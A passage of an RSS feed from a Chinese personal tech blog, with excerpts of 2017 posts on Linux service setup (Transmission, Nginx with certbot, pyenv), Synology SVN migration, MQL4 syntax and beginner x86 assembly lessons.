&lt;pre&gt;&lt;code&gt;sudo apt-get install transmission-daemon
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="修改配置文件"&gt;修改配置文件&lt;/h2&gt;
&lt;p&gt;先停止transmission&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo service transmission-daemon stop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /etc/transmission-daemon/settings.json
第14行修改为“dht-enabled”: false,
第15行是下载目录修改成你自己的“download-dir”: “/home/transmission/downloads”,
第20行修改为“encryption”: 2,
第23行修改为 &amp;quot;incomplete-dir&amp;quot;: &amp;quot;/home/transmission/tmp&amp;quot;,
第49行修改自定义的密码“rpc-password”: “123456”,
第52行修改成自定义的登录账号名称“rpc-username”: “transmission”,
第54行修改为“rpc-whitelist-enabled”: false,
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="建立文件夹和修改权限"&gt;建立文件夹和修改权限&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir -p /home/transmission/downloads
sudo mkdir -p /home/transmission/tmp
sudo usermod -a -G transmission root
sudo chgrp -R transmission /home/transmission
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查目录用户组&lt;/p&gt;</description></item><item><title>VMware Fusion 10 Pro 序列号</title><link>https://luodaoyi.com/posts/vmware-fusion-10-pro-%E5%BA%8F%E5%88%97%E5%8F%B7-vmwarefusion10pro%E5%BA%8F%E5%88%97%E5%8F%B7/</link><pubDate>Tue, 28 Nov 2017 15:16:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/vmware-fusion-10-pro-%E5%BA%8F%E5%88%97%E5%8F%B7-vmwarefusion10pro%E5%BA%8F%E5%88%97%E5%8F%B7/</guid><description>&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-11-28-111.png" alt="111" title="111"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;VMware Fusion 10 Pro 序列号 导入虚拟机 以及下载地址&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;VMware Fusion 10 Mac 虚拟软件已于今年10月发布。新版的VMware Fusion 10 将兼容 macOS High Sierra，同时还支持最新 MacBook Pro 上的 Touch Bar。Fusion 10 还会改进图形性能和准确性，并采用苹果 Metal 技术。&lt;/p&gt;
&lt;p&gt;那么下面的东西将会是你喜欢的东西， 如果你有能力支付昂贵的费用，还请支持正版，双十一购买会便宜点。&lt;/p&gt;</description></item><item><title>Nginx 反向代理nuget配置文件</title><link>https://luodaoyi.com/posts/nginx-%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86nuget%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6-nginx%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86nuget%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6/</link><pubDate>Tue, 28 Nov 2017 15:14:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/nginx-%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86nuget%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6-nginx%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86nuget%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6/</guid><description>&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-11-28-2.png" alt="2" title="2"&gt;&lt;/p&gt;
&lt;p&gt;前提条件 域名要解析到服务器ip上去&lt;/p&gt;
&lt;h2 id="ubuntu1604-安装nginx"&gt;ubuntu16.04 安装Nginx&lt;/h2&gt;
&lt;p&gt;非常简单，因为需要喜欢内容所以装的是full版本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update -y sudo apt install nginx-full -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装好之后配置好反向代理&lt;/p&gt;
&lt;h2 id="ssl证书"&gt;ssl证书&lt;/h2&gt;
&lt;p&gt;我使用的是 certbot 自动获取的 Let&amp;amp;#8217;s Encrypt 证书&lt;/p&gt;
&lt;p&gt;安装 certbot&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update -y
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:certbot/certbot
sudo apt-get update -y
sudo apt-get install python-certbot-nginx -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo certbot --nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&amp;amp;#8217;s Encrypt 证书 有效期很短 但是certbot可以一键更新&lt;/p&gt;</description></item><item><title>Python 多版本共存之pyenv</title><link>https://luodaoyi.com/posts/python-%E5%A4%9A%E7%89%88%E6%9C%AC%E5%85%B1%E5%AD%98%E4%B9%8Bpyenv-python%E5%A4%9A%E7%89%88%E6%9C%AC%E5%85%B1%E5%AD%98%E4%B9%8Bpyenv/</link><pubDate>Fri, 24 Nov 2017 11:28:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/python-%E5%A4%9A%E7%89%88%E6%9C%AC%E5%85%B1%E5%AD%98%E4%B9%8Bpyenv-python%E5%A4%9A%E7%89%88%E6%9C%AC%E5%85%B1%E5%AD%98%E4%B9%8Bpyenv/</guid><description>&lt;p&gt;经常遇到这样的情况：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系统自带的 Python 是 2.6，自己需要 Python 2.7 中的某些特性；&lt;/li&gt;
&lt;li&gt;系统自带的 Python 是 2.x，自己需要 Python 3.x；&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此时需要在系统中安装多个 Python，但又不能影响系统自带的 Python，即需要实现&lt;br&gt;
Python 的多版本共存。&lt;a href="https://github.com/yyuu/pyenv"&gt;pyenv&lt;/a&gt; 就是这样一个 Python 版本管理器。&lt;/p&gt;
&lt;h2 id="安装-pyenv"&gt;安装 pyenv&lt;/h2&gt;
&lt;p&gt;在终端执行如下命令以安装 pyenv 以及几个插件：&lt;/p&gt;</description></item><item><title>计算机中的运算</title><link>https://luodaoyi.com/posts/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97-%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97/</link><pubDate>Sat, 18 Nov 2017 08:26:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97-%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%AD%E7%9A%84%E8%BF%90%E7%AE%97/</guid><description>&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-11-17-15109055617568.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;计算机只认识0和1，计算机能做的运算归根结底也就是直接对0和1做运算(通常称为 &lt;code&gt;位运算&lt;/code&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;与运算&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;两个位都为1时，结果为1 &lt;code&gt;and(&amp;amp;)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;或运算&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;只要有一个为1 就是1 &lt;code&gt;or(|)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;异或运算&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;不一样的时候是1 &lt;code&gt;xor(^)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;非运算(单目运算)&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;0变1 1变0 &lt;code&gt;not(~)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;左移&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;各二进制位全部左移若干位，高位丢弃，低位补0 &lt;code&gt;shl(&amp;gt;)&lt;/code&gt; 在汇编中&lt;code&gt;shr&lt;/code&gt;补0，&lt;code&gt;sar&lt;/code&gt;补符号位&lt;/p&gt;</description></item><item><title>进制和内存</title><link>https://luodaoyi.com/posts/%E8%BF%9B%E5%88%B6%E5%92%8C%E5%86%85%E5%AD%98-%E8%BF%9B%E5%88%B6%E5%92%8C%E5%86%85%E5%AD%98/</link><pubDate>Fri, 17 Nov 2017 08:51:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%BF%9B%E5%88%B6%E5%92%8C%E5%86%85%E5%AD%98-%E8%BF%9B%E5%88%B6%E5%92%8C%E5%86%85%E5%AD%98/</guid><description>&lt;h2 id="数据宽度"&gt;数据宽度&lt;/h2&gt;
&lt;p&gt;因为计算机受硬件制约，数据都是有长度限制的（数据宽度），超过最多宽度的数据会被丢弃&lt;/p&gt;
&lt;h2 id="计算机中常见的数据宽度"&gt;计算机中常见的数据宽度：&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;位(BIT) -&amp;gt; 一个0或1&lt;/li&gt;
&lt;li&gt;字节(BYTE) =8位 范围 0-&amp;gt; FF&lt;/li&gt;
&lt;li&gt;字(Word) = 16位 0-&amp;gt;FFFF&lt;/li&gt;
&lt;li&gt;双字(DoubleWord) = 32位 0-FFFFFFFF&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;超过范围的数会被丢弃&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="有符号数和无符号数"&gt;有符号数和无符号数&lt;/h2&gt;
&lt;p&gt;有符号数还是无符号数是个人约定的&lt;/p&gt;</description></item><item><title>家里没公网ip的新选择</title><link>https://luodaoyi.com/posts/%E5%AE%B6%E9%87%8C%E6%B2%A1%E5%85%AC%E7%BD%91ip%E7%9A%84%E6%96%B0%E9%80%89%E6%8B%A9-%E5%AE%B6%E9%87%8C%E6%B2%A1%E5%85%AC%E7%BD%91ip%E7%9A%84%E6%96%B0%E9%80%89%E6%8B%A9/</link><pubDate>Tue, 14 Nov 2017 03:32:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%AE%B6%E9%87%8C%E6%B2%A1%E5%85%AC%E7%BD%91ip%E7%9A%84%E6%96%B0%E9%80%89%E6%8B%A9-%E5%AE%B6%E9%87%8C%E6%B2%A1%E5%85%AC%E7%BD%91ip%E7%9A%84%E6%96%B0%E9%80%89%E6%8B%A9/</guid><description>&lt;p&gt;我的就没有。。。&lt;/p&gt;
&lt;p&gt;我办理的联通的宽带，但是小区木有联通宽带 然后给弄的华数宽带&lt;/p&gt;
&lt;p&gt;后来我发现华数宽带可以—多拨。。上下行都叠加&lt;/p&gt;
&lt;p&gt;&lt;img src="https://ws2.sinaimg.cn/large/006tNc79gy1flhg5ckblaj30v807emy5.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;但是还是没有公网ip。我家里有个gen8服务器，直接装了dsm&lt;/p&gt;
&lt;p&gt;&lt;img src="https://ws4.sinaimg.cn/large/006tNc79gy1flhg7hk02rj30kl0fq0ug.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;于是找了个所谓ipv4的玩意&lt;/p&gt;
&lt;p&gt;&lt;img src="https://ws2.sinaimg.cn/large/006tNc79gy1flhg965sqyj30ow060tae.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;然后把盒子wan扣连接到路由器 lan口插到gen8的dsm上。设置双网口&lt;/p&gt;</description></item><item><title>MetaTrader4 mql语法简介</title><link>https://luodaoyi.com/posts/metatrader4-mql%E8%AF%AD%E6%B3%95%E7%AE%80%E4%BB%8B-metatrader4mql%E8%AF%AD%E6%B3%95%E7%AE%80%E4%BB%8B/</link><pubDate>Mon, 16 Oct 2017 07:21:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/metatrader4-mql%E8%AF%AD%E6%B3%95%E7%AE%80%E4%BB%8B-metatrader4mql%E8%AF%AD%E6%B3%95%E7%AE%80%E4%BB%8B/</guid><description>&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-10-16-WX20171016-152221@2x.png" alt="WX20171016-152221@2x" title="WX20171016-152221@2x"&gt;&lt;/p&gt;
&lt;h2 id="基础语法"&gt;基础语法&lt;/h2&gt;
&lt;p&gt;跟C++差不多 懒得讲&lt;/p&gt;
&lt;h2 id="常用函数和内置全局变量"&gt;常用函数和内置全局变量&lt;/h2&gt;
&lt;h3 id="抓取价格数据"&gt;抓取价格数据&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Ask -- Double 当前K线(本货币)窗口买价
Bid -- Double 当前K线(本货币)窗口卖价
MarketInfo(&amp;quot;GBPUSD&amp;quot;,MODE_ASK) --Double 获取指定(&amp;quot;GBPUSD&amp;quot;)类型货币当前买价
MarketInfo(&amp;quot;GBPUSD&amp;quot;,MODE_BID) --Double 获取指定(&amp;quot;GBPUSD&amp;quot;)类型货币当前卖价
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>C语言对应汇编代码</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%80%E5%AF%B9%E5%BA%94%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81-c%E8%AF%AD%E8%A8%80%E5%AF%B9%E5%BA%94%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/</link><pubDate>Sun, 24 Sep 2017 00:53:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%80%E5%AF%B9%E5%BA%94%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81-c%E8%AF%AD%E8%A8%80%E5%AF%B9%E5%BA%94%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/</guid><description>&lt;pre&gt;&lt;code&gt;void main(){
 __asm
 {
 mov eax,eax
 mov eax,eax
 mov eax,eax
 mov eax,eax
 }
 return;
}
int plus(int x,int y)
{
 return 0;
}



--- C:\Project\2017_09_24\Main.cpp ------------------------------------------
1:
2: void main(){
0040D3F0 push ebp
0040D3F1 mov ebp,esp
0040D3F3 sub esp,40h
0040D3F6 push ebx
0040D3F7 push esi
0040D3F8 push edi
0040D3F9 lea edi,[ebp-40h]
0040D3FC mov ecx,10h
0040D401 mov eax,0CCCCCCCCh
0040D406 rep stos dword ptr [edi]
3: __asm
4: {
5: mov eax,eax
0040D408 mov eax,eax
6: mov eax,eax
0040D40A mov eax,eax
7: mov eax,eax
0040D40C mov eax,eax
8: mov eax,eax
0040D40E mov eax,eax
9: }
10: return;
11: }
0040D410 pop edi
0040D411 pop esi
0040D412 pop ebx
0040D413 add esp,40h
0040D416 cmp ebp,esp
0040D418 call __chkesp (0040d430)
0040D41D mov esp,ebp
0040D41F pop ebp
0040D420 ret
--- C:\Project\2017_09_24\Main.cpp ------------------------------------------
12:
13: int plus(int x,int y)
14: {
0040D470 push ebp
0040D471 mov ebp,esp
0040D473 sub esp,40h
0040D476 push ebx
0040D477 push esi
0040D478 push edi
0040D479 lea edi,[ebp-40h]
0040D47C mov ecx,10h
0040D481 mov eax,0CCCCCCCCh
0040D486 rep stos dword ptr [edi]
15: return 0;
0040D488 xor eax,eax
16: }
0040D48A pop edi
0040D48B pop esi
0040D48C pop ebx
0040D48D mov esp,ebp
0040D48F pop ebp
0040D490 ret
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>9.汇编-JCC</title><link>https://luodaoyi.com/posts/9%E6%B1%87%E7%BC%96-jcc-9%E6%B1%87%E7%BC%96-jcc/</link><pubDate>Thu, 21 Sep 2017 15:07:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/9%E6%B1%87%E7%BC%96-jcc-9%E6%B1%87%E7%BC%96-jcc/</guid><description>&lt;p&gt;之前可以修改EIP寄存器的指令&lt;br&gt;
JMP,CALL,RETN&lt;/p&gt;
&lt;p&gt;所有JCC指令的动作-&amp;gt;根据标志寄存器修改EIP的值&lt;/p&gt;
&lt;h2 id="标志寄存器-eflags"&gt;标志寄存器 EFLAGS&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-09-20-15058716245484.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="cfbit-0carry-flag-c位"&gt;CF（bit 0）[Carry flag] C位&lt;/h2&gt;
&lt;p&gt;若算术产生的结果在最高有效位(most-significant bit)发生进位或者借位则将其置1 反之清零&lt;/p&gt;
&lt;p&gt;这个标志通常用来指示无符号证书运算的溢出状态&lt;/p&gt;</description></item><item><title>群辉dsm SVN迁移</title><link>https://luodaoyi.com/posts/%E7%BE%A4%E8%BE%89dsm-svn%E8%BF%81%E7%A7%BB-%E7%BE%A4%E8%BE%89dsmsvn%E8%BF%81%E7%A7%BB/</link><pubDate>Thu, 21 Sep 2017 13:18:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%BE%A4%E8%BE%89dsm-svn%E8%BF%81%E7%A7%BB-%E7%BE%A4%E8%BE%89dsmsvn%E8%BF%81%E7%A7%BB/</guid><description>&lt;p&gt;公司买了群辉nas服务器，用来备份数据和代码&lt;br&gt;
之前的svn服务器用的windows，出现过数据丢失的问题，并且不够可靠。所以迁移到了nas的svn服务器&lt;br&gt;
折腾了一下午，折腾出来几个方案&lt;/p&gt;
&lt;h2 id="svn-dump方案"&gt;svn dump方案&lt;/h2&gt;
&lt;p&gt;此方案是最慢的方案，起初用了此方案，导出了只有700多次提交的一个svn仓库。&lt;br&gt;
最后结论是 导出满，导入他妈的更慢。并且库下面的passd和authz不会被一起导出，所以要重新配置&lt;br&gt;
导出:&lt;/p&gt;</description></item><item><title>Markdown 语法高亮的常用语言关键字</title><link>https://luodaoyi.com/posts/markdown-%E8%AF%AD%E6%B3%95%E9%AB%98%E4%BA%AE%E7%9A%84%E5%B8%B8%E7%94%A8%E8%AF%AD%E8%A8%80%E5%85%B3%E9%94%AE%E5%AD%97-markdown%E8%AF%AD%E6%B3%95%E9%AB%98%E4%BA%AE%E7%9A%84%E5%B8%B8%E7%94%A8%E8%AF%AD%E8%A8%80%E5%85%B3%E9%94%AE%E5%AD%97/</link><pubDate>Wed, 20 Sep 2017 17:01:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/markdown-%E8%AF%AD%E6%B3%95%E9%AB%98%E4%BA%AE%E7%9A%84%E5%B8%B8%E7%94%A8%E8%AF%AD%E8%A8%80%E5%85%B3%E9%94%AE%E5%AD%97-markdown%E8%AF%AD%E6%B3%95%E9%AB%98%E4%BA%AE%E7%9A%84%E5%B8%B8%E7%94%A8%E8%AF%AD%E8%A8%80%E5%85%B3%E9%94%AE%E5%AD%97/</guid><description>&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-09-20-markdown.png" alt="markdown" title="markdown"&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;语言&lt;/th&gt;
 &lt;th&gt;关键字&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Bash&lt;/td&gt;
 &lt;td&gt;bash&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;CoffeeScript&lt;/td&gt;
 &lt;td&gt;coffeescript&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;C++&lt;/td&gt;
 &lt;td&gt;cpp&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;C#&lt;/td&gt;
 &lt;td&gt;cs&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;CSS&lt;/td&gt;
 &lt;td&gt;css&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Diff&lt;/td&gt;
 &lt;td&gt;diff&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;HTTP&lt;/td&gt;
 &lt;td&gt;http&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;lni&lt;/td&gt;
 &lt;td&gt;lni&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;java&lt;/td&gt;
 &lt;td&gt;java&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;JavaScript&lt;/td&gt;
 &lt;td&gt;javascript&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;JSON&lt;/td&gt;
 &lt;td&gt;json&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Markfile&lt;/td&gt;
 &lt;td&gt;markfile&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MarkDown&lt;/td&gt;
 &lt;td&gt;markdown&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Objective-C&lt;/td&gt;
 &lt;td&gt;objectivec&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Perl&lt;/td&gt;
 &lt;td&gt;perl&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Python&lt;/td&gt;
 &lt;td&gt;python&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ruby&lt;/td&gt;
 &lt;td&gt;ruby&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SQL&lt;/td&gt;
 &lt;td&gt;sql&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;XML&lt;/td&gt;
 &lt;td&gt;xml&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ARM汇编&lt;/td&gt;
 &lt;td&gt;armasm&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;AVR汇编&lt;/td&gt;
 &lt;td&gt;avrasm&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MIPS汇编&lt;/td&gt;
 &lt;td&gt;mipsasm&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;X86汇编&lt;/td&gt;
 &lt;td&gt;x86asm&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Erlang&lt;/td&gt;
 &lt;td&gt;erlang&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;F#&lt;/td&gt;
 &lt;td&gt;fsharp&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Haskell&lt;/td&gt;
 &lt;td&gt;haskell&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GLSL&lt;/td&gt;
 &lt;td&gt;glsl&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Lisp&lt;/td&gt;
 &lt;td&gt;lisp&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>8. 汇编-ESP寻址 EBP寻址</title><link>https://luodaoyi.com/posts/8-%E6%B1%87%E7%BC%96-esp%E5%AF%BB%E5%9D%80-ebp%E5%AF%BB%E5%9D%80-8%E6%B1%87%E7%BC%96-esp%E5%AF%BB%E5%9D%80ebp%E5%AF%BB%E5%9D%80/</link><pubDate>Tue, 19 Sep 2017 22:42:16 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/8-%E6%B1%87%E7%BC%96-esp%E5%AF%BB%E5%9D%80-ebp%E5%AF%BB%E5%9D%80-8%E6%B1%87%E7%BC%96-esp%E5%AF%BB%E5%9D%80ebp%E5%AF%BB%E5%9D%80/</guid><description>&lt;h2 id="寄存器传参和堆栈传参"&gt;寄存器传参和堆栈传参&lt;/h2&gt;
&lt;h3 id="寄存器传参"&gt;寄存器传参&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;MOV ECX,1
MOV EBX,2
CALL XX
MOV EAX,ECX
ADD EAX,EBX
RETN
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="堆栈传参-8211esp寻址"&gt;堆栈传参 –ESP寻址&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PUSH 1
PUSH 2
CALL XXX
MOV EAX,DWORD PTR SS:[ESP+8] //当内存中括号中包含ESP或者EBP的话 用SS
ADD EAX,DWORD PTR SS:[ESP+4]
RETN 8
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="堆栈传参-8211ebp寻址"&gt;堆栈传参 –EBP寻址&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PUSH 1
PUSH 2
CALL XXX
PUSH EBP
MOV EBP,ESP
SUB ESP,10 //提升堆栈
MOV EAX,DWORD PTR SS:[EBP+8] //通过EBP获得参数 参数位置 +4
ADD EAX,DWPRD PTR SS:[EBP+0xC]
MOV ESP,EBP
POP EBP //恢复堆栈
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>7.汇编-汇编中的函数</title><link>https://luodaoyi.com/posts/7%E6%B1%87%E7%BC%96-%E6%B1%87%E7%BC%96%E4%B8%AD%E7%9A%84%E5%87%BD%E6%95%B0-7%E6%B1%87%E7%BC%96-%E6%B1%87%E7%BC%96%E4%B8%AD%E7%9A%84%E5%87%BD%E6%95%B0/</link><pubDate>Tue, 19 Sep 2017 16:22:09 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/7%E6%B1%87%E7%BC%96-%E6%B1%87%E7%BC%96%E4%B8%AD%E7%9A%84%E5%87%BD%E6%95%B0-7%E6%B1%87%E7%BC%96-%E6%B1%87%E7%BC%96%E4%B8%AD%E7%9A%84%E5%87%BD%E6%95%B0/</guid><description>&lt;h2 id="什么是函数"&gt;什么是函数&lt;/h2&gt;
&lt;p&gt;函数就是一系列&lt;code&gt;指令的几个&lt;/code&gt;,为了完成某个会重复使用的特定功能&lt;/p&gt;
&lt;h2 id="函数调用"&gt;函数调用&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用&lt;code&gt;JMP&lt;/code&gt;来执行函数&lt;/li&gt;
&lt;li&gt;用&lt;code&gt;CALL&lt;/code&gt;来执行函数&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="函数的参数和返回值"&gt;函数的参数和返回值&lt;/h2&gt;
&lt;p&gt;通常情况下，会将函数的计算结果放到EAX寄存器中&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;EAX 通常用来放返回值&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简单的加法函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ADD ECX,EDX //传参
MOV EAX,ECX //传结果到EAX中
RETN
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="堆栈传参"&gt;堆栈传参&lt;/h2&gt;
&lt;p&gt;如果参数很多怎么办？10个数相加&lt;/p&gt;</description></item><item><title>6.汇编-修改EIP的指令</title><link>https://luodaoyi.com/posts/6%E6%B1%87%E7%BC%96-%E4%BF%AE%E6%94%B9eip%E7%9A%84%E6%8C%87%E4%BB%A4-6%E6%B1%87%E7%BC%96-%E4%BF%AE%E6%94%B9eip%E7%9A%84%E6%8C%87%E4%BB%A4/</link><pubDate>Sun, 17 Sep 2017 05:42:35 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/6%E6%B1%87%E7%BC%96-%E4%BF%AE%E6%94%B9eip%E7%9A%84%E6%8C%87%E4%BB%A4-6%E6%B1%87%E7%BC%96-%E4%BF%AE%E6%94%B9eip%E7%9A%84%E6%8C%87%E4%BB%A4/</guid><description>&lt;h2 id="eip寄存器"&gt;EIP寄存器&lt;/h2&gt;
&lt;p&gt;EIP寄存器表示CPU下次执行的位置&lt;/p&gt;
&lt;h2 id="jmp指令"&gt;JMP指令&lt;/h2&gt;
&lt;p&gt;JMP指令相当于给EIP寄存器赋值&lt;br&gt;
JMP后面只能是32位的&lt;/p&gt;
&lt;p&gt;指令格式:&lt;br&gt;
MPV EIP,寄存器/立即数/内存&lt;br&gt;
简写：JMP 寄存器/立即数/内存&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JMP 0x00FF19 -&amp;gt; MOV EIP,0X00FF19
JMP EAX -&amp;gt; MOV EIP,EAX
JMP DWORD PTR DS:[0x18ffa0] -&amp;gt;MOV EIP,DWORD PTR DS:[0x18ffa0] #这里内存指针只能用32位的 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="call指令"&gt;CALL指令&lt;/h2&gt;
&lt;p&gt;PUSH下一行地址&lt;br&gt;
MOV EIP,立即数/寄存器/内存&lt;br&gt;
